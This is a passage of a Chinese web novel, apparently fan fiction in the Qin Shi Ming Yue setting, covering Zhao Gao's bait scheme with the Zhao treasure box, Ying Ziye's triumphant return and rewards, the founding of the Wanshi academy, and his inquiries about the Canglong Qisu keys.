“是时候让它‘物归原主’了。”
他沉吟片刻,一条毒计已然成型。
“我记得,你们之前找到过一个落魄的赵国宗室后裔?叫…赵歇的?”
“是。”
“其人乃赵悼襄王远支,家道中落,混迹市井,颇有几分勇力,亦有些不安分的心思。”
掩日答道。
“便是他了。”
赵高轻笑一声,“找个合适的时机,安排一场‘巧遇’。”
“让咱们的人,扮作一位隐世的赵国遗老贤者,最好是那种对秦国心怀刻骨仇恨,却又德高望重的模样。”
他详细部署着,每一个细节都透着阴险。
“让这位贤者,在临终前,偶然遇到那赵歇,然后‘临终托付’,将赵国宝盒郑重地交给他。”
“告诉他,此乃赵国复国的希望,是正统赵王的信物!”
“持此物者,便是天命所归的赵王!”
“要他隐忍待机,联络旧部,他日必可推翻暴秦,光复赵国宗庙!”
掩日立刻领会。
“大人高明!”
“如此一来,宝盒便合理地到了赵歇手中,且与我罗网毫无干系。”
“那赵歇得了宝盒,又有复国野心的煽动,必然蠢蠢欲动,四处活动…届时,想不引起赢子夜的注意都难。”
“不止如此。”
赵高阴恻恻地补充。
“要让这件事,自然而然地泄露出去。”
“通过酒肆闲谈,流浪歌谣等方式,让江湖上、旧赵遗民中,都流传起‘赵氏有贤者得传国宝,天命在赵’的传言。”
“要把水搅浑,把所有人的目光,都吸引到这个赵歇和赵国宝盒之上!!!”
他要让这赵国宝盒,成为一个散发着诱人香气,却淬满了剧毒的鱼饵!
不仅钓赢子夜,更要钓出所有对苍龙七宿还有念想,对秦国还有异心的牛鬼蛇神!
“等到时机成熟。”
赵高最后冷冷道:“要么让赢子夜找到并夺走它,让他集齐更多宝盒,更深地卷入这漩涡中心…”
“要么,等那赵歇真成了些气候,再让他…彻底消失。”
无论哪种结果,对他赵高而言,都是有利无弊。
“属下明白!”
“定会安排得天衣无缝!”
掩日躬身领命,身影缓缓退入阴影之中,去执行计划。
密室中,赵高独自一人,看着跳跃的烛火,发出一阵极其轻微,却令人毛骨悚然的低笑。
乱吧,越乱越好。
只有这潭水彻底浑了,深藏在深渊下的毒蛇,才能更好地伺机而动,给予那高高在上的真龙……
致命一击!
……
数日之后。
邯郸故地,一处破败不堪,香火稀少的旧赵宗庙遗址附近。
夜色朦胧,细雨霏霏。
一个名叫赵歇的年轻人,正拖着疲惫的身躯,从市井打短工归来。
他衣衫褴褛,面容带着营养不良的菜色。
唯有一双眼睛,偶尔会流露出与其落魄外表不符的,不甘平庸的光芒。
他是赵国王室远支,到了他这一代,早已与平民无异,甚至更为困顿。
就在他经过宗庙残破的围墙时,一阵剧烈的咳嗽声吸引了他的注意。
只见一位白发苍苍,衣衫虽旧却浆洗得十分干净的老者,正依靠着断壁残垣,咳得撕心裂肺。
仿佛随时都会背过气去。
手中,紧紧攥着一个用破布包裹的长条物件。
赵歇虽自身艰难,却终究心存良善,见状连忙上前。
“老人家,您没事吧?”
“这雨天寒重,您怎独自在此?”
那老者抬起浑浊的双眼,看到赵歇,尤其是仔细辨认了他的面容后,眼中猛地爆发出一种奇异的光彩!
他一把抓住赵歇的手腕,力气大得惊人!
“像…真像…眉宇间有几分悼襄王的影子…”
老者激动地喃喃自语,又是一阵猛咳,嘴角甚至溢出了血丝。
赵歇一愣,悼襄王?
那是他早已没落,甚至不敢对外人提起的祖先。
“孩子…你…你是否姓赵?”
“可是王室宗亲?”
老者气息微弱,却死死盯着他。
赵歇心中一惊,下意识地点了点头。
“天意…天意啊!”
老者仿佛回光返照,将那个用破布包裹的物件猛地塞入赵歇怀中,双手颤抖着将其紧紧按住。
“老夫…乃赵国旧臣,隐姓埋名数十载,今日终…终于等到你了!”
他压低了声音,充满了无比的郑重和悲怆。
“此乃我赵国传承之宝!”
“是正统赵王的信物!”
“暴秦无道,灭我社稷…然赵氏血脉未绝,复国希望便在此物之上!”
赵歇彻底懵了,只觉得怀中之物冰冷沉重,他下意识地想推开。
“
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老人家,您…您是不是认错人了?”
“我……”
“绝不会错!”老者打断他,眼神狂热而决绝。
“拿着它!隐藏起来!联络旧部,隐忍待机!”
“持此物者,便是天命所归的赵王!”
“他日…他日必能光复我大赵宗庙!”
“切记!切记!绝不可让秦人知晓!”
“否则必有杀身之祸!!!”
说完这最后一句话,老者仿佛耗尽了所有生命力,头一歪,手臂垂下,彻底没了声息。
唯有那双眼睛还圆睁着,望着邯郸故地的方向。
赵歇抱着那冰冷的物件,看着怀中“气绝”的老者,整个人如同被雷击中,呆立在雨夜之中。
复国?
赵王?
这一切对他来说,如同天方夜谭!
但怀中那沉甸甸的物件,老者临死前那狂热郑重的嘱托,以及深埋在他心底那份对现状的不甘和对血脉的一丝隐秘骄傲,如同野草般疯狂滋生起来……
他颤抖着打开破布一角,里面赫然是一个样式古拙,雕刻着星辰与玄鸟图案的青铜盒!!
一股难以言喻的,古老尊贵的气息扑面而来!
赵歇的心脏疯狂跳动!
他猛地将宝盒重新裹好,警惕地四下张望,然后踉跄着消失在雨夜深处。
他没有注意到,在他离开后,那原本“气绝”的老者手指微不可察地动了一下,嘴角勾起一抹诡异的弧度。
随即,如同鬼魅般悄无声息地融入阴影。
彻底消失。
……
数日过后。
中车府令官署密室。
掩日的身影如烟般浮现,单膝跪地。
“大人,事情已办妥。”
“赵国宝盒已‘顺利’交予赵歇之手,过程自然,绝无破绽。”
“‘赵国遗老托付复国希望’的消息,也已通过特定渠道开始散播……”
赵高缓缓睁开闭目养神的眼睛,苍白脸上露出一丝满意的笑容。
“做得很好,让那赵歇先做几天复国美梦。”
“接下来,看好他,也看好那些闻着味儿聚过去的苍蝇。”
他顿了顿,语气转而变得无比凝重,眼中闪烁着深邃幽光。
“还有一事,至关重要。”
“阴阳家那边,东皇太一和月神对苍龙七宿的研究从未停止。”
“让潜伏在阴阳家的‘蛛卵’,给咱家盯紧了!”
“任何关于苍龙七宿破解的进展,任何异动,都必须第一时间报来!”
“苍龙七宿之谜,牵扯甚大,绝对…绝对不能出现任何意料之外的变故!必须掌控在咱家手中!”
赵高的声音尖细而冰冷,带着一种绝对的掌控欲。
“属下明白,这就去安排!”
掩日领命,身影再次无声消散。
密室重归寂静,赵高摩挲着指尖,眼中算计的光芒明灭不定。
棋盘已经布好,棋子也已落下。
现在,只需要耐心等待鱼儿…自己游进网中。
第260章 嫁人,当是如此!
时隔近两月。
咸阳城巨大的轮廓终于再次映入眼帘。
然而今日的咸阳,与往日截然不同。
官道两旁,早已被黑压压的人群所挤满!
无数百姓翘首以盼,争相目睹那位平定南疆,沿途肃贪,声名如日中天的六公子殿下凯旋!
更令人震撼的是,在离城门尚有数里之地,便可见旌旗招展,甲胄鲜明!
以丞相李斯、冯去疾为首的文武百官,竟早已按照最高规格的礼仪,列队恭候于官道两侧!
这等场面,若非陛下亲临或大军献俘,极少出现,可见圣眷之隆!
“咚!”
“咚!”
“咚!”
低沉而威严的战鼓声从远方传来,如同大地的心跳,越来越近!
所有人的目光都投向官道尽头。
首先映入眼帘的,是一面高高擎起的玄黑色“赢”字大纛旗,迎风猎猎作响!
紧接着,是如同移动钢铁森林般的精锐甲士!
五千兵甲,排着整齐无比的长蛇阵,迈着沉重而统一的步伐,如同一股不可阻挡的钢铁洪流,缓缓推进!
甲叶碰撞之声铿锵悦耳,汇聚成一股令人心悸的金属风暴!
那股经历过血火淬炼的肃杀之气,扑面而来,让所有围观者都感到呼吸一窒!
军队之后,才是核心。
赢子夜一袭玄衣,骑在一匹神骏异常的乌骓马上,居于队伍最前方。
他并未穿戴铠甲,依旧那般从容淡漠。
但周身那股不经意间流露出的,糅合了帝王威严与沙场煞气的磅礴气势,却比身后五千铁甲更加令人望而生畏!
仿佛他一人,便可抵千军万马!
他的身侧稍后,是紫衣飘渺,清冷如仙的少司命。
身后左右,则是如同护法金刚般的赵弋苍、钟离昧、韩信、樊哙等将领。
个个气息沉凝,目光锐利,如同出鞘的利刃!!
这支核心队伍,人数不多,却汇聚了令人胆寒的文武力量!
浩荡的队伍缓缓行至百官迎候之处。
李斯、冯去疾率先上前,带领百官躬身行礼,声音洪亮。
“臣等恭迎公子殿下凯旋!”
“殿下平定南疆,劳苦功高,扬我大秦国威!”
“恭迎殿下凯旋!”
身后百官齐声附和,声震四野。
赢子夜微微勒住马缰,目光平静地扫过在场百官,只是淡淡颔首。
“有劳丞相与众卿相迎。”
“南疆已平,乃将士用命,非我一人之功。”
他的声音不大,却清晰地压过了现场的喧嚣,带着一种理所当然的威严。
队伍中。
一辆不起眼的马车帘幕被微微掀开一角。
吕雉和吕素两姐妹透过缝隙,看着外面这恢弘浩大,百官俯首的场面,看着那个端坐马背,受万众瞩目却依旧平静如渊的玄衣身影。
两人皆震撼得无以复加!!!
吕素小手捂着嘴,眼中满是惊叹和敬畏,只觉得外面的世界和那位恩公公子,都远远超出了她的想象。
而吕雉,则看得更加失神。
她的心跳得飞快,血液仿佛在燃烧。
她见过赢子夜冷静睿智的一面,见过他杀伐果断的一面。
但直至此刻,她才真正直观地感受到,什么是权倾天下,什么是帝王之威!!!
百官跪迎,万军簇拥,百姓夹道!
那个男人仿佛天生就该立于万人之上,执掌乾坤!
一股难以言喻的悸动和野望,如同藤蔓般在她心底疯狂滋生。
家破人亡的剧痛和一路的颠沛流离,让她比任何人都渴望力量,渴望权势,渴望一个足够强大的依靠!
而眼前这个男人,无疑就是这世间最强大的那座山岳!
嫁人…当嫁如此雄杰!
若能追随其左右,得其庇护,甚至…分享其权柄…
吕雉的呼吸不由自主地急促起来,眼中闪烁着复杂而明亮的光芒。
而赢子夜,并未在城外过多停留。
在接受完百官迎候后,便率领着这支携带着赫赫战功与凛凛威仪的队伍,浩浩荡荡地进入了咸阳城门。
钢铁洪流般的军队,威严莫测的公子,以及那注定将震动咸阳朝野的声势……
一同汇入了这座帝国的权力心脏。
……
咸阳宫。
麒麟殿。
今日大朝会的氛围与往日截然不同,少了几分压抑,多了几分凯旋的激昂与论功行赏的期待。
文武百官分列两侧。
目光皆聚焦于御阶之下,那位一袭玄衣,风尘未洗却已显沉稳威仪的六公子赢子夜身上。
赢子夜手持玉笏,声音清朗而沉稳,正向御座之上的始皇嬴政详细禀奏平定百越后的诸多善后与治理之策。
“……故儿臣以为,欲使南疆长治久安,非仅凭武力镇压可成。”
“当设郡立县,派遣得力干吏,推行秦法,然亦需尊重其地风俗,缓步更化。”
“儿臣已命王贲、王离将军勘测水道,修建水渠,连通湘漓,此举既可利漕运,调兵粮,亦可灌溉农田,惠及民生,使百越之民渐沐王化,知帝国之德……”
他条理清晰。
从郡县设置、官吏选派、军事镇守、经济开发、文化融合等多个方面,一一阐述。
显然经过深思熟虑,并非一味穷兵黩武。
如他提出的,推广中原农耕技术,开采当地矿产,还有就是设学宫,传授中原文字律法等等。
“……对于归降各部头人,可赐予爵位田宅,将其子弟迁入咸阳学习。”
“既可示以恩宠,亦可为质。”
“对于顽抗之辈,则需以雷霆手段持续清剿,绝其苗裔……”
“如此刚柔并济,方可使南疆真正成为帝国之南疆,而非化外之地!”
赢子夜奏毕,微微躬身。
“此乃儿臣浅见,请父皇圣裁!”
御阶之上,珠帘后的嬴政静静听完,良久,缓缓开口,声音中带着一丝难得的满意。
“彩!”
“子夜所奏,思虑周全,刚柔并济,深得朕心。”
“南疆之事,便依此策而行。”
“丞相府、治粟内史府、将作少府需全力配合,不得有误。”
“臣等遵旨!”
李斯等人立刻出列领命。
嬴政目光落在赢子夜身上,又道:“南疆已定,然帝国根基,在于人才。”
“子夜,朕命你督造的帝宫之学,现已竣工。”
“此事关乎国本,你需早日着手,遴选天下英才,制定章程,不可懈怠。”
赢子夜神色一肃,躬身应道:“儿臣领旨。”
“定当竭尽全力,为帝国培育栋梁之材!!”
“嗯。”
嬴政微微颔首。
“你一路劳顿,又立此大功,朕心甚慰。”
“今日便于此设宴,为你及有功将士接风洗尘,论功行赏!!!”
“谢父皇(陛下)恩典!”
赢子夜及殿内众将齐声谢恩。
……
是夜。
咸阳宫内灯火通明,盛宴开启。
丝竹悦耳,舞姿翩跹,觥筹交错。
然而所有人的心思,显然更多关注在那即将到来的封赏之上。
酒过三巡,内侍官开始高声宣读封赏诏书。
首先是主帅赢子夜。
其赏赐早已超乎寻常爵位,只是口头表彰了一番,另赐了些许财物。
虽未明言,但其信任与倚重,已然彰显无遗!
甚至一些官员,还在内心最深处思忖着。
比如未来的那个储君之位……
随后,便是此次南征中立下赫赫战功的诸将!
“骁骑都尉钟离昧!”内侍官声音洪亮。
钟离昧立刻出列,单膝跪地。
“末将在!”
“作战勇猛,箭术超群,于黑风岭狙杀百越头目有功,擢升为裨将军,赐爵左庶长,赏金千斤,帛五百匹!”
裨将军已算军中高级将领。
左庶长更是大秦爵位中的较高等级!
钟离昧强压激动,重重叩首!
“谢陛下隆恩!末将必当誓死效忠帝国!”
“都尉樊哙!”
“俺在!”樊哙声如洪钟,出列跪地。
“攻城拔寨,勇冠三军,于破王庭之战中斩将夺旗有功,擢升为裨将军,赐爵右庶长,赏金八百斤,帛三百匹!”
樊哙咧嘴大笑,咚咚咚磕了三个响头。
“谢陛下!俺以后一定砍更多敌人的脑袋!”
“校尉周勃!”
“末将在!”
“治军严谨,多有谋略,辅佐王离将军稳定后方有功,擢升为偏将军,赐爵公乘,赏金五百斤,帛二百匹!”
周勃沉稳叩谢。
“谢陛下!”
“军司马韩信!”
韩信出列,他的封赏备受关注,因其资历最浅,却奇功至伟。
“献奇策,断粮道,破天险,直捣王庭,居功至伟!”
“特擢升为偏将军,赐爵五大夫,另赏赐宅邸一座,金千斤,帛四百匹!”
偏将军之位,五大夫之爵,对于后来才赶到的韩信而言,已是破格超擢!
韩信深吸一口气,压下心中波澜,郑重行礼。
“韩信,谢陛下知遇之恩!定当竭尽所能,报效帝国!”
“亲卫统领赵弋苍!”
赵弋苍如铁塔般出列跪地。
“卑职在!”
“护卫主上,侦缉敌情,清除叛逆,功勋卓著!”
“特赐驷车庶长之爵,仍领亲卫统领之职,赏金千斤,帛五百匹!”
爵位极高,却未授予朝官实职。
显然其职责,依旧隐秘重要。
毕竟,如今赢子夜的暗河也逐渐浮出水面,与罗网一样,大部分人其实都知道他们的存在了。
只是“暗河”二字,从不在官面上记录。
赵弋苍也毫无异议。
“谢陛下!卑职誓死护卫主上,为大秦扫清一切障碍!”
此外,王贲、蒙毅等原有将领亦有丰厚赏赐提升,只不过他们还并未回归,自不必说。
一番封赏下来,众将皆是欢欣鼓舞,士气高昂!
陛下赏罚分明,有功必赏,让他们倍感荣耀,也更坚定了效忠之心。
赢子夜坐于席上,看着麾下亲信、将领得到应有的荣耀,微微颔首。
这些封赏,既彰显了帝国恩典,也未过于拔高,以免引人嫉妒,分寸拿捏得恰到好处。
盛宴直至深夜方散。
赢子夜带着一身酒气与荣耀,走出宫殿,仰望咸阳夜空。
南征之功已赏,然苍龙七宿的天机,以及朝堂内外的各处暗流…已然悄悄来临。
第261章 万世书院!
翌日。
赢子夜便在少府官员的陪同下,前往已竣工的帝宫之学。
学宫并未建于宫城之外。
而是选址于咸阳宫东侧,章台街与兰池坊交界处。
车驾尚未抵达,远远便能看到那一片气势恢宏,风格迥异于寻常宫阙的建筑群。
走近观看,更是令人震撼!
整座学宫规模极大,围墙高耸,以巨大的青黑色条石垒砌,庄重而肃穆。
主门阙高达十丈,门前矗立着十二尊巨大的青铜人像,并非兵士或神兽,而是分别手持书卷、尺规、农具、算盘、药杵等物,象征着不同的学问与技艺,充满了开明与务实的气息!
踏入大门,眼前豁然开朗!
首先是一片极为广阔的广场,以白玉石铺就,可容纳万人同时集会。
广场尽头,是一座巍峨无比的主殿。
飞檐斗拱,雕梁画栋,殿顶覆盖着深蓝色的琉璃瓦,在阳光下流淌着智慧般的光泽!
匾额空悬,显然在等待命名。
而主殿之后,并非连绵的宫殿,而是错落有致地分布着数十栋风格各异,功能不同的建筑。
藏书楼高耸入云,可见其内书架林立。
演武场宽阔平坦,器械齐全。
观测台拔地而起,可仰观天象。
还有专门研习律法、医药、农耕、工造、算数、乃至百家辩经的专属馆舍!!!
其间廊桥连接,绿树成荫,溪流潺潺,既有学堂的庄严,又不失园林的雅致。
其设计之精妙,规模之宏大,气魄之雄伟,远超当今任何一家私学或官学!
有囊括四海之学,包罗百家之象!!!
足以青史留名,流芳百世!
随行官员无不面露自豪与惊叹之色。
少司命清冷的眼眸中也闪过一丝讶异。
赢子夜漫步于这宏伟的学宫之中,抚摸着那镌刻着百家经典摘要的石壁,看着那专门为辩论交流而设的“论道坛”,心中亦不免生出几分波澜。
父皇将此重任交予他,其意深远。
来到那主殿之前,所有随行人员及工匠皆屏息凝神,等待着这位年轻的主事者为学宫赐名。
内侍早已备好笔墨,呈上匾额。
赢子夜略作沉吟,提笔蘸墨,手腕悬动,笔走龙蛇。
四个苍劲有力,蕴含帝道威严又带着包容气象的大字跃然匾上——
万世书院!
笔落,众人皆低声念诵。
“万世书院?”
赢子夜放下笔,目光扫过众人,声音清朗,传遍广场。
“万,乃无疆之数,包举天地,昭示帝国一统之志。”
“世,乃代代相承,薪火不绝,寓大秦基业长存万世之愿。”
“书,载道明法,聚群贤之智,开万法之源。”
“院,则集天下英才,议帝国之策,成治世之器!”
“此为万世书院,立意在承天命、定人道、昭示后世,使大秦之道不止于一时,而垂范千秋万世!”
他遥指这片宏伟建筑,声蕴乾坤。
“此地,不当只为秦之官学,而当如昔日齐之稷下,汇天下英才,容百家争鸣!”
“无论出身贵贱,无论师承何派,凡有真才实学,皆可于此研习、辩论、精进!”
“为往圣继绝学,为帝国育栋梁!”
“此宫之名,便为——”
“万世书院!!”
“愿此学宫,能成天下学问之宗,文明之源,佑我大秦,万世永昌!”
声音落下,全场寂静片刻,随即爆发出由衷的赞叹与欢呼!
“万世书院!好名字!”
“公子殿下胸怀四海,立意高远!”
“彩!”
少府官员更是激动不已!
此名一出,这座学宫的格调与使命,瞬间超越了单纯的官学,达到了一个前所未有的高度!
赢子夜负手而立,望着“万世书院”那四个大字,眼中光芒闪烁。
这里,或许将成为他实现诸多抱负的,又一个起点。
……
傍晚。
丞相府。
李斯听闻赢子夜来访,立刻亲自出迎,将其引入静室奉水。
对于这位权势日益炽盛,深得帝心的公子,李斯不敢有丝毫怠慢。
熏香袅袅中,赢子夜并未过多寒暄,放下杯盏,目光平静地看向李斯。
“今日前来,是有一事想请教丞相。”
李斯微微躬身。
“殿下请问,老臣知无不言。”
“听闻丞相与韩非,曾是同窗?”赢子夜语气平淡,仿佛只是随口一问。
李斯眼中闪过一丝极细微的复杂之色,随即恢复恭谨。
“是。”
“臣与韩非,曾一同拜在荀子门下求学。”
“韩非才学,确在臣之上,尤擅法理权谋。”
赢子夜颔首,切入正题。
“那当年韩非入秦,直至后来被囚于云阳狱中…期间,丞相可曾留意,他身边是否携带有…特别之物?”
“譬如,样式古旧的青铜盒匣之类?”
李斯闻言,持盏的手微微一顿,眼中露出追忆和思索之色。
他何等精明,立刻猜到赢子夜此问,必然与那传闻的苍龙七宿宝盒有关。
他沉吟片刻,缓缓道:“殿下所言,可是指…可能与苍龙七宿相关的宝盒?”
赢子夜并不否认。
“丞相果然知晓。”
李斯苦笑一下。
“此事当年在高层并非绝密。”
“陛下横扫六合,集天下权柄,对此等象征天命之物,自然亦有关注。”
“当年韩非入秦,名义上是为存韩献策,实则…陛下与老臣亦曾怀疑,他是否携带有韩国传承的宝盒,欲行他谋。”
他仔细回忆道。
“故而,从韩非踏入秦境起,其一行人的车马行李,便已在严密监控之下。”
“沿途皆有精锐兵士‘护送’,实则亦有监视搜查之责。”
“直至入咸阳,住进驿馆,其所有物品,明里暗里,都被仔细检查过数遍。”
李斯语气肯定地说道。
“臣可断言,当时韩非身边,绝无殿下所描述的那类青铜宝盒。”
“其随身之物,多是书简笔墨,以及一些韩王赠予陛下的普通贡礼。”
赢子夜黑眸微眯。
“入秦之后呢?他在狱中之时?”
李斯摇头。
“云阳狱看守森严,更甚于咸阳狱。”
“韩非在狱中,除基本衣食笔墨外,别无长物。”
“就这,还是因为陛下惜其才,允其著书。”
“其后…韩非身死,狱中所有遗物皆被反复查验封存,确无宝盒踪迹。”
静室内陷入短暂的沉默。
赢子夜指尖无意识地轻叩桌面。
李斯的话,与他之前的推测基本吻合。
以父皇和李斯的手段,若宝盒真在韩非身上,绝无可能遗漏。
那么,最大的可能性便只剩下一个。
宝盒,根本就没被韩非带入秦国!
而是在更早的时候,就被转移了!
而最有可能接手宝盒的人……
赢子夜脑海中浮现出那个总是一袭青衫,智计百出的儒雅身影。
张良!
韩非最信任的师弟!
韩非自知入秦风险极大,如此重要的东西,他绝不会带在身边冒险。
那么,将其交给绝对信任,且同样聪慧绝顶,善于隐藏的张良保管,无疑是最好的选择!
“看来…丞相对此也并不知情。”赢子夜缓缓开口,语气听不出喜怒。
李斯躬身道:“老臣无能,未能替陛下与殿下分忧此事。”
“无妨。”赢子夜站起身。
“今日叨扰丞相了。”
“殿下言重了。”
赢子夜走出丞相府,抬头望向小圣贤庄的大致方向,眼中闪过一丝锐利的光芒。
张良…小圣贤庄…
一切的线索,似乎最终都指向了那里。
是时候,去会一会这位“谋圣”了。
第262章 触碰那最核心的秘密!
回到府中时,已是华灯初上。
赢子夜径直走入书房,屏退左右,只留下赵弋苍。
“张良。”他指尖敲了敲桌面,声音低沉。
“小圣贤庄那位三当家…加派人手,给我盯紧他。”
“其一举一动,接触何人,去往何处,每日报于我知。”
“记住,要绝对隐秘,此人智计超群,绝非易与之辈,万不可打草惊蛇!”
赵弋苍神色一凛,立刻领命。
“诺!卑职亲自去安排最顶尖的夜枭,绝不会让他察觉。”
“去吧。”
赵弋苍退下后,赢子夜揉了揉眉心,正准备处理今日积压的文书,书房门却被轻轻敲响。
“进。”
门被推开,进来的却不是侍从,而是吕雉和吕素两姐妹。
少司命也跟在她们身后。
只见吕雉手中端着一个精致的食盒,吕素则怯生生地跟在她身后。
“恩公,”吕雉微微福礼,声音温婉,“见您晚膳时分仍在忙碌,妾身与妹妹便自作主张,准备了些清淡小食,请您和夫人尝尝。”
说着,她打开食盒,里面是几样看起来颇为用心的菜肴。
虽非山珍海味,却色香味俱全,显然是花了心思的。
赢子夜见状,微微一怔,随即道:“这些琐事,交由府中下人便可,你们不必亲自操劳。”
吕雉却坚持道:“恩公与夫人于我姐妹有再造之恩,些许微末心意,难报万一。”
“若能亲手为恩公与夫人准备餐食,妾身心中方能稍安。”
她眼神恳切,带着不容拒绝的坚持。
一旁的少司命静静看着,紫眸如水,并未说话。
赢子夜见她如此,也不好再推拒,便点了点头。
“也罢,放下吧。有劳了。”
吕雉脸上露出欣喜之色,将菜肴一一取出摆好,却并未立刻离开,反而拉着妹妹在一旁垂手侍立,一副要伺候用膳的模样。
赢子夜略感不适,道:“你二人也坐下一起用些吧。”
吕雉连忙摇头。
“妾身不敢。”
“尊卑有别,妾身姐妹能侍奉恩公左右,已是天大的福分。”
赢子夜放下筷子,看着她二人。
“本公子既带你们回来,便会妥善安置。”
“过几日,便让人在城中寻一处清静雅致的宅院,再拨些可靠的下人过去,保你们一世衣食无忧,平安喜乐。”
他本意是让她们有自己的生活,而非为奴为婢。
岂料吕雉闻言,脸色瞬间变得苍白,眼圈一红,竟直接跪了下来,声音带着哭腔!!
“恩公!可是…可是嫌弃我们姐妹粗鄙,要赶我们走吗?”
吕素见姐姐跪下,也慌忙跟着跪下,小声啜泣起来。
赢子夜顿感头疼。
“并非此意…”
“若非恩公嫌弃,”吕雉抬起头,泪眼婆娑,却异常执拗,“为何非要让我们姐妹离府?”
“公子大恩,妾身此生无以为报,唯愿留在府中,为奴为婢,侍奉公子与夫人左右,以求心安!”
“求公子成全!”
她说着,重重磕下头去。
赢子夜看着跪在地上的姐妹花,一个刚烈执拗,一个柔弱可怜,一时间竟不知该如何是好。
他并不习惯处理这种情感纠葛。
就在这时,一个带着几分慵懒和戏谑的女声从门口传来。
“哟~好一出感人至深的报恩戏码呢。”
只见焰灵姬倚在门框上,一身红衣似火,嘴角噙着一抹玩味的笑容,看着跪地的吕氏姐妹和略显无奈的赢子夜。
她如今伤势渐愈,又被变相软禁于此。
心态反倒放开了些,时而会出言调侃。
“不过嘛,”焰灵姬美目流转,落在吕雉那梨花带雨却难掩决绝的脸上,轻笑道。
“依我看呐,吕雉妹妹这哪是想为奴为婢报答恩情?”
“分明是这一路见识了咱们公子的英姿和权势,芳心暗许,想着近水楼台先得月,巴不得能留在公子身边,他日也好混个名分。”
“比如…做个妾室什么的?”
此话一出,吕雉的俏脸瞬间涨得通红,连耳根都红透了!
仿佛被说破了最隐秘的心事,羞得无地自容。
想要反驳,却嗫嚅着说不出完整的话。
吕素更是把头埋得极低,脖颈都染上了粉色。
赢子夜也被焰灵姬这直白的话弄得有些尴尬,轻咳一声:“休得胡言!”
焰灵姬却不怕他,反而笑得花枝乱颤。
“是不是胡言,某人心里清楚得很呐~”
就在这时。
一直沉默不语的少司命,忽然抬起清冷的眸子,看了看羞窘不堪的吕雉,又看了看略显尴尬的赢子夜,用她那特有的,平静无波的语调,轻声说了一句。
“夫君若想纳妾,妾身…并无异议。”
“……”
刹那间,整个书房安静得落针可闻。
赢子夜彻底愣住,看向少司命。
只见她说完后便低下头,继续小口吃着菜肴。
仿佛刚才那句话只是“今天的菜有点咸”一样平常。
吕雉和吕素更是惊呆了,难以置信地看向少司命,又偷偷看向赢子夜。
焰灵姬也挑了挑眉,似乎没想到这位清冷寡言的正牌夫人会来这么一句。
随即露出了更加玩味和看好戏的笑容。
赢子夜看着眼前这诡异的场面,只觉得一个头两个大。
他揉了揉额角,最终无奈地叹了口气:“都起来吧。”
他对吕氏姐妹道:“既然你们执意如此…便暂且留在府中帮忙吧。”
“宅院之事,日后再说。”
吕雉闻言,顿时喜出望外,也顾不上羞涩了,连忙拉着妹妹磕头谢恩!
“多谢公子!多谢夫人!”
只是这“夫人”二字出口,气氛似乎又变得微妙了几分。
赢子夜挥挥手,让她们先退下。
看着姐妹俩如蒙大赦,又带着窃喜离开的背影。
再看看一旁看戏的焰灵姬和依旧淡然的少司命,赢子夜忽然觉得,这府里……似乎要越来越热闹了。
……
翌日清晨。
赢子夜正在书房翻阅关于万世书院的规划草案,赵弋苍的身影便如同鬼魅般悄无声息地出现在房内。
“主上,赵地急报。”
赵弋苍的声音压得很低。
“关于赵国宝盒的流言,已经开始在邯郸故地及周边传播开来。”
“内容与您预料的相差无几,皆是‘赵氏得宝,天命归赵’之类,鼓动复辟的言论。”
“源头隐秘,传播速度却很快,显然背后有推手。”
赢子夜放下手中的竹简,脸上并无意外之色,只是眼中闪过一丝冷光。
“果然来了。”
“盯着流言的走向,特别是那个叫赵歇的宗室后裔,看看都有哪些人会主动靠近他。”
“诺。”
“已经加派了人手,绝不会让他脱离视线。”
赵弋苍禀报完,并未立刻离开,而是垂首侍立。
赢子夜身体微微后靠,目光深沉,指尖在桌面上轻轻敲击,发出沉闷的节奏声。
苍龙七宿……
七枚宝盒,如同散落在历史洪流中的星辰,如今却渐渐浮出水面。
秦、燕、齐、魏四国的宝盒,已被父皇掌控。
那是帝国的核心,谁也无法轻易触碰。
楚之宝盒,则已握在自己手里。
从那群神秘杀手中夺得,算是孤身入局后的第一步。
韩之宝盒……
极大可能落在张良手中。
韩非入秦,未曾带入,那就只会留给他最信任的师弟。
张子房,此人智谋深沉,绝非易与!
赵之宝盒,表面上落在赵歇手中,实则却是有幕后推手放出的诱饵。
那赵歇,只怕只是个被推上台的棋子。
棋局背后,才是真正的杀机!
而作为传人的七国血脉,也并非尽数湮灭。
其他几国的传人,早在帝国一统过程中,便已被黑冰台或明或暗地控制、监视起来,以防万一。
唯有这楚、韩、赵三家,因各种缘由,尚未完全掌握。
项羽在逃。
剿灭只是时间问题。
赵歇是鱼饵,随时可收网。
唯独这红莲……
她不仅是韩国公主,更是流沙的赤练,卫庄的心腹。
卫庄及其流沙组织,实力强横,行踪诡秘,且与帝国虽是合作关系,但并非轻易能动之人。
“若开启苍龙七宿之谜,当真需要集齐七国宝盒与七国血脉传人……”
赢子夜心中思忖,眼神变得深邃起来。
“只是不知,这开启的过程中,这些作为‘钥匙’的传人,是否会有什么…性命之危?”
若是需要献祭之类的手段,那处理起来便需更加谨慎。
红莲的身份特殊,动她,很可能直接引发与卫庄乃至整个流沙的正面冲突。
时机未到,不宜节外生枝。
此事,或许有一人能给出更准确的答案。
赢子夜猛地站起身。
“备车,去蜃楼。”
他要去见一见那位被阴阳家奉若神明,对苍龙七宿研究最为深入的……
东皇太一。
或许,只有从他那里,才能得到关于苍龙七宿真正核心的机密!
第263章 七国宝盒传人之选!
蜃楼深处。
穹顶之上是阴阳家以巨大法力模拟出的周天星斗。
幽蓝的星光缓缓流转,将这座庞大如宫殿般的密室映照得既神秘又肃穆。
空气里,弥漫着古老檀香与一种难以言喻,仿佛来自星辰本身的冰冷气息。
赢子夜负手而立。
玄色衣袍在微光中几乎与阴影融为一体。
唯有那双深邃的眼眸,锐利如刀,直视着前方高台上那尊宛若神祇的身影——
东皇太一。
他并未寒暄,开口便是石破天惊的一问,声音在空旷的殿内清晰回荡。
“东皇阁下,本公子有一事,关乎苍龙七宿。”
“若集齐七国宝盒与血脉传人,开启那最终之谜时……”
“那些作为‘钥匙’的传人,是否会因此殒命?”
这是他最深层的顾虑。
若需献祭性命,那红莲之事便需从长计议,甚至整个计划都将面临颠覆。
高台上,那笼罩在宽大黑袍与诡异黑色面具下的身影微微一动。
东皇太一的声音透过面具传来,低沉、缥缈,仿佛自带回响,不似人声。
“公子多虑了。”
“开启之力,源于星辰与宝盒本身,传人所需付出的,仅是一缕精血为引,并不会伤及性命根本。”
赢子夜紧绷的心弦微微一松,但眼神依旧凝重。
他向前踱了一步,追问道。
“既如此,如何确定一人便是那命定的传人?”
